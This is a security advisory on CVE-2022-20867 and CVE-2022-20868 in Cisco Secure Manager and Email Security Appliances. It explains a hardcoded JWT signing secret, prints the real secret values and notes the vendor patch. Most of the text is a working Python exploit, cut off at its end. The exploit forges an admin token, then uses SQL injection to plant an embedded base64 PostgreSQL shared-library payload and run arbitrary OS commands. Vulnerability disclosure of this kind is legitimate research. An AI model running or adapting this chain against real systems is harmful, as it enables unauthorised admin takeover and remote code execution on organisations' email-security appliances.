# SSD Advisory – Cisco Secure Manager Appliance jwt_api_impl Hardcoded JWT Secret Elevation of Privilege
November 14, 2022 [SSD Disclosure / Technical Lead](https://ssd-disclosure.com/author/noamr/) [Uncategorized](https://ssd-disclosure.com/category/uncategorized/)
**TL;DR**
A vulnerability allows remote attackers to elevate privileges on affected installations of Cisco Secure Manager Appliance and Cisco Email Security Appliance. Authentication is required to exploit this vulnerability.
The specific flaw exists within the `jwt_api_impl` module. The issue results from the usage of a static secret key to generate JWT tokens. An attacker can leverage this vulnerability to impersonate any user of the target server.
**Note:** [Another vulnerability was published](https://ssd-disclosure.com/ssd-advisory-cisco-secure-manager-appliance-remediation_request_utils-sql-injection-remote-code-execution/) alongside this one. These vulnerabilities are not dependent on one another. Exploitation of one of the vulnerabilities is not required to exploit the other vulnerability. A Low level privileges user can use the combination of the two vulnerabilities to receive full admin privileges on an affected system.
**CVE**
CVE-2022-20867
CVE-2022-20868
***\*Credit\****
An independent security researcher has reported this to the SSD Secure Disclosure program.
**Technical Analysis**
Any request to the new web interface of the appliance is handled by nginx on port *4431* which acts as a reverse proxy to the python back-end.
```
<img src="./img/img1.png" width="640">
```
The python server processes the HTTP requests and returns a result. The snippet below showcases the code responsible for processing POST requests to the interface.
```
def do_POST(self):
content_len = int(self.headers.getheader('content-length', 0))
request_body = self.rfile.read(content_len)
self._validate_and_return_request_handler(http_verb_method=PROCESS_POST, request_body=request_body) # 1
```
The `_validate_and_return_request_handler` method is called [*1*] by the `do_POST` wrapper and most other wrappers and holds the main logic of the processing.
```
def _validate_and_return_request_handler(self, http_verb_method, request_body=None):
global SERVER_SESSION_ID
self.refresh_token = None
self.message_digest = None
is_auth_needed = False
try:
parsed_uri = urlparse.urlparse(self.path)
# ...
elif not (request_handler_helper.is_url_request_in_list(parsed_uri, OPEN_ACCESS_API_LIST) or hasattr(handler_obj, 'csrf_token_valid') and handler_obj.csrf_token_valid(uri_ctx.subpath, uri_ctx.query) or request_handler_helper.check_url_path_in_request(parsed_uri, LOGIN_API_URL) or self.client_address[0] == LOCALHOST_IP and not is_auth_needed): # 2
# ...
elif jwt_constants.JWT_PARAM_JWT_TOKEN in self.headers:
is_authenticated = self.validate_jwt(uri_ctx) # 3
```
The method checks [*2*] if the request is supposed to be authenticated, and uses multiple authentication schemas to try to authenticate the user, among which being JWT [*3*]. If the `jwtToken` header is present in the request, the `validate_jwt` method is called to validate the token.
```
def validate_jwt(self, uri_ctx):
input_token = None
query_email = None
mid = -1
user_email = None
try:
input_token = request_handler_helper.extract_token(self.headers)
query_string_data = urlparse.parse_qs(uri_ctx.parsed_uri.query, keep_blank_values=True)
if query_string_data and 'email' in query_string_data:
query_email = query_string_data.get('email')
if USER_EMAIL_HEADER in self.headers:
user_email = self.headers[USER_EMAIL_HEADER]
if MID_HEADER in self.headers:
mid = self.headers[MID_HEADER]
if input_token:
token = jwt_util.decode_token(input_token) # 4
validate_input_fingerprint(uri_ctx.input_fingerprint, token) # 5
```
The token is decoded [*4*] via the `decode_token` method, and the fingerprint is later validated [*5*] via the `validate_input_fingerprint` method.
```
def decode_token(token):
payload = None
try:
payload = jwt.decode(token, login_util.decode(jwt_constants.JWT_SECRET), algorithms=jwt_constants.JWT_ALGORITHM)
except ExpiredSignatureError:
raise JwtException(jwt_constants.ERROR_JWT_EXPIRED_SIGNATURE_ERROR, httplib.UNAUTHORIZED)
except InvalidIssuerError:
raise JwtException(jwt_constants.ERROR_JWT_INVALID_ISSUER_ERROR, httplib.UNAUTHORIZED)
except InvalidAudienceError:
raise JwtException(jwt_constants.ERROR_JWT_INVALID_AUDIENCE_ERROR, httplib.UNAUTHORIZED)
except InvalidTokenError:
raise JwtException(jwt_constants.ERROR_JWT_INVALID_TOKEN_ERROR, httplib.UNAUTHORIZED)
return payload
```
The `decode_token` method uses the `jwt_constants.JWT_SECRET` constant as a secret for the decoding thus any attacker that has knowledge of the secret key may use it to sign arbitrary tokens, and thus impersonate any user.
```
ERROR_EXPIRY_MUST_BE_INT = 'Expiration Time claim (exp) must be an integer.'
JWT_ALGORITHM = 'HS256'
JWT_SECRET = 'VmxaU1MyTXlWbk5oTTJ4UVZsVmFUMVpyVm5OT2JFNXlVbFJzVVZWVU1Eaz0='
JWT_PARAM_USER_NAME = 'userName'
JWT_PARAM_EXPIRY = 'exp'
```
The value for JWT_SECRET on Cisco Email Security Appliances is `ckswZyVqISlrdG1QRzNoYnAmQyNCbURsIXZGOUVTYntsSlhsJiRKc2RseDV4OTNhPGs/cy9yXWZbT3lE`. The `validate_input_fingerprint` is responsible for extracting the fingerprint from the token and validating it against the server generated fingerprint.
```
def validate_input_fingerprint(input_fingerprint, token):
if not token or jwt_constants.JWT_PARAM_COOKIE not in token:
raise JwtException('Unauthorized request', httplib.UNAUTHORIZED)
if token and jwt_constants.JWT_PARAM_COOKIE in token and input_fingerprint != token[jwt_constants.JWT_PARAM_COOKIE]:
raise JwtException('Unauthorized request', httplib.UNAUTHORIZED)
```
The input fingerprint is generated by the code snippet below. Because of the `sys_desc` and `server_session_id` fields, this vulnerability not be used for bypassing the authentication of the interface as the stated fields are too unpredictable. However, with prior knowledge of the fields from authenticating as a low-privilege user this requirement is met.
```
input_fingerprint = jwt_api_impl.get_input_fingerprint({'user_name': self.current_user, 'server_host': self.headers.get('Host'),
'user_agent': self.headers.get('User-Agent'),
'sys_desc': request_handler_helper.get_system_description(),
'accept': self.headers.get(ACCEPT),
'server_session_id': str(SERVER_SESSION_ID),
'client_ip': fp_client_ip,
'email_for_fingerprint': email_for_fingerprint})
```
**Vendor Response**
The vendor has issued a patch for the vulnerability as part of its patches released on the 11th of November 2022 for the affected platform – https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esasmawsa-vulns-YRuSW5mD
**Exploit**
```
#!/usr/bin/env python3
import jwt
import json
import time
import random
import string
import base64
import urllib3
import datetime
import requests
import argparse
DEVICE_TYPE = 'sma'
JWT_SECRET = 'VmxaU1MyTXlWbk5oTTJ4UVZsVmFUMVpyVm5OT2JFNXlVbFJzVVZWVU1Eaz0='
PG_SYSTEM = [
'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AwAAAAEAAAAIAAAAAAAAAAAAAAAAAAAATQAAAAQAAAACAAAAAAAAABgEAAAAAAAAGAQAAAAAAABgAAAAAAAAAAIAAAAAAAAACAAAAAAAAAAYAAAAAAAAAFcAAAAEAAAAQgAAAAAAAAB4BAAAAAAAAHgEAAAAAAAAeAAAAAAAAAACAAAAFQAAAAgAAAAAAAAAGAAAAAAAAABhAAAAAQAAAAYAAAAAAAAA8AQAAAAAAADwBAAAAAAAABMAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAXAAAAAEAAAAGAAAAAAAAABAFAAAAAAAAEAUAAAAAAAA=',
'YAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAABnAAAAAQAAAAYAAAAAAAAAcAUAAAAAAABwBQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAcAAAAAEAAAAGAAAAAAAAAIAFAAAAAAAAgAUAAAAAAAAEAgAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAHYAAAABAAAABgAAAAAAAACEBwAAAAAAAIQHAAAAAAAADgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAB8AAAAAQAAAAIAAAAAAAAAoAcAAAAAAACgBwAAAAAAACAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAhAAAAAEAAAACAAAAAAAAAMAHAAAAAAAAwAcAAAAAAAA0AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJIAAAABAAAAAgAAAAAAAAD4BwAAAAAAAPgHAAAAAAAAvAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACcAAAABwAAAAIAAAAAAAAAtAgAAAAAAAC0CAAAAAAAABgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAApgAAAAEAAAADAAAAAAAAANAIIAAAAAAA0AgAAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAK0AAAABAAAAAwAAAAAAAADgCCAAAAAAAOAIAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAC0AAAABgAAAAMAAAAAAAAA8AggAAAAAADwCAAAAAAAAIABAAAAAAAAAwAAAAAAAAAIAAAAAAAAABAAAAAAAAAAawAAAAEAAAADAAAAAAAAAHAKIAAAAAAAcAoAAAAAAAAYAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAL0AAAABAAAAAwAAAAAAAACICiAAAAAAAIgKAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADGAAAAAQAAAAMAAAAAAAAAyAogAAAAAADICgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAzAAAAAgAAAADAAAAAAAAANAKIAAAAAAA0AoAAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANEAAAABAAAAMAAAAAAAAAAAAAAAAAAAANAKAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAADaAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABCwAAAAAAAIAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6QAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAgQsAAAAAAACyAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAPUAAAABAAAAAAAAAAAAAAAAAAAAAAAAADMNAAAAAAAAPgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAADAQAAAQAAAAAAAAAAAAAAAAAAAAAAAABxDQAAAAAAABABAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAADwEAAAEAAAAAAAAAAAAAAAAAAAAAAAAAgQ4AAAAAAACgAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAACgPAAAAAAAAeAMAAAAAAAAfAAAAGAAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACgEgAAAAAAAN8BAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAfxQAAAAAAAAdAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA=='
]
class Exploit:
def __init__(self, args):
self.url = args.url
self.username = args.username
self.password = args.password
self.command = args.command
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
self.s = requests.Session()
self.s.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
'Accept': 'application/json, text/plain, */*'
}
self.s.verify = False
def trigger(self):
print('[*] Logging in')
if not self.login():
print('[-] Exploit failed')
exit()
print('[*] Elevating privileges')
if not self.eop():
print('[-] Exploit failed')
exit()
print('[*] Triggering command execution')
if not self.rce():
print('[-] Exploit failed')
exit()
print('[*] Cleaning up')
if not self.cleanup():
print('[-] Exploit failed')
exit()
print('[#] Exploit succeeded')
def login(self):
data = {
'data': {
'userName': base64.b64encode(self.username.encode('latin-1')).decode('latin-1'),
'passphrase': base64.b64encode(self.password.encode('latin-1')).decode('latin-1')
}
}
r = self.s.post(self.url + '/' + DEVICE_TYPE +
'/api/v2.0/login', data=json.dumps(data))
if r.status_code != 200:
return False
response = json.loads(r.content)
self.jwt_token = response['data']['jwtToken']
return True
def eop(self):
def encode(s):
s = base64.b64encode(str(s).encode('latin-1')).decode('latin-1')
chunks = [s[i:i+76] for i in range(0, len(s), 76)]
return '\n'.join(chunks)
def decode(s):
return base64.b64decode(s.replace('\n', '')).decode('latin-1')
try:
token = json.loads(base64.b64decode(self.jwt_token.split('.')[1]))
except:
try:
token = json.loads(base64.b64decode(
self.jwt_token.split('.')[1] + '='))
except:
try:
token = json.loads(base64.b64decode(
self.jwt_token.split('.')[1] + '=='))
except:
return False
cookie = decode(token['cookie'])
server_host = decode(cookie.split('\n;')[0])
client_ip = decode(cookie.split('\n;')[1])
user_agent = decode(cookie.split('\n;')[2])
server_session_id = decode(cookie.split('\n;')[3])
system_description = decode(cookie.split('\n;')[4])
admin_cookie = encode('\n;'.join([
encode(server_host),
encode(client_ip),
encode(user_agent),
encode(server_session_id),
encode(system_description),
encode('admin'),
encode('application/json, text/plain, */*')
]) + '\n;') + '\n'
admin_token = {
'userName': 'admin',
'is2FactorCheckRequired': False,
'cookie': admin_cookie,
'user': 'NONEUQ',
'sessionEndTime': int(datetime.datetime.utcnow().timestamp()) + 3600 * 48,
'exp': int(datetime.datetime.utcnow().timestamp()) + 3600 * 48
}
admin_token = jwt.encode(admin_token, base64.b64decode(JWT_SECRET))
headers = {
'jwtToken': admin_token
}
r = self.s.get(self.url + '/' + DEVICE_TYPE +
'/api/v2.0/login/privileges', headers=headers)
self.jwt_token = admin_token
return r.status_code == 200
def rce(self):
def sqli(query):
headers = {
'jwtToken': self.jwt_token
}
data = {
'data': {
'batch_id': ''.join(random.choice(string.ascii_letters) for _ in range(8)) + '\', 0, 0, 0, 0, 0, 0, 0, 0, 0); ' + query + ' ;-- ',
'action': 'delete',
'initiated_username': 'x',
'batch_name': 'x',
'message_details': [
{
'mid': [1],
'from_email': ['x@x.com'],
'ip': '192.168.1.1',
'subject': 'x',
'sent_at': 1,
'recipient_email': ['x@x.com']
}
]
}
}
self.s.post(self.url + '/' + DEVICE_TYPE + '/api/v2.0/remediation',
headers=headers, data=json.dumps(data))
time.sleep(0.5)
loid = ''.join(random.choice(string.ascii_letters) for _ in range(8))
shell_path = '/tmp/' + \
''.join(random.choice(string.ascii_letters)
for _ in range(8)) + '.so'
sqli('SELECT lo_create(0) INTO ' + loid)
for i in range(len(PG_SYSTEM)):
sqli('INSERT INTO pg_largeobject (loid, pageno, data) VALUES ((SELECT * FROM ' +
loid + '), ' + str(i) + ', (DECODE(\'' + PG_SYSTEM[i] + '\', \'base64\')))')
sqli('SELECT lo_export((SELECT * FROM ' + loid + '), \'' + shell_path + '\')')
sqli('SELECT lo_unlink((SELECT * FROM ' + loid + '))')
sqli('DROP TABLE ' + loid)
time.sleep(5)
sqli('CREATE OR REPLACE FUNCTION pg_system(TEXT) RETURNS INTEGER AS \'' +
shell_path + '\',\'pg_system\' LANGUAGE C STRICT')
sqli('SELECT pg_system(\'' + self.command + '\')')
return True
def cleanup(self):
return True
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--url', help='Target URL', required=True)
parser.add_argument(
'--username', help='Username of low privilege user', required=True)
parser.add_argument(
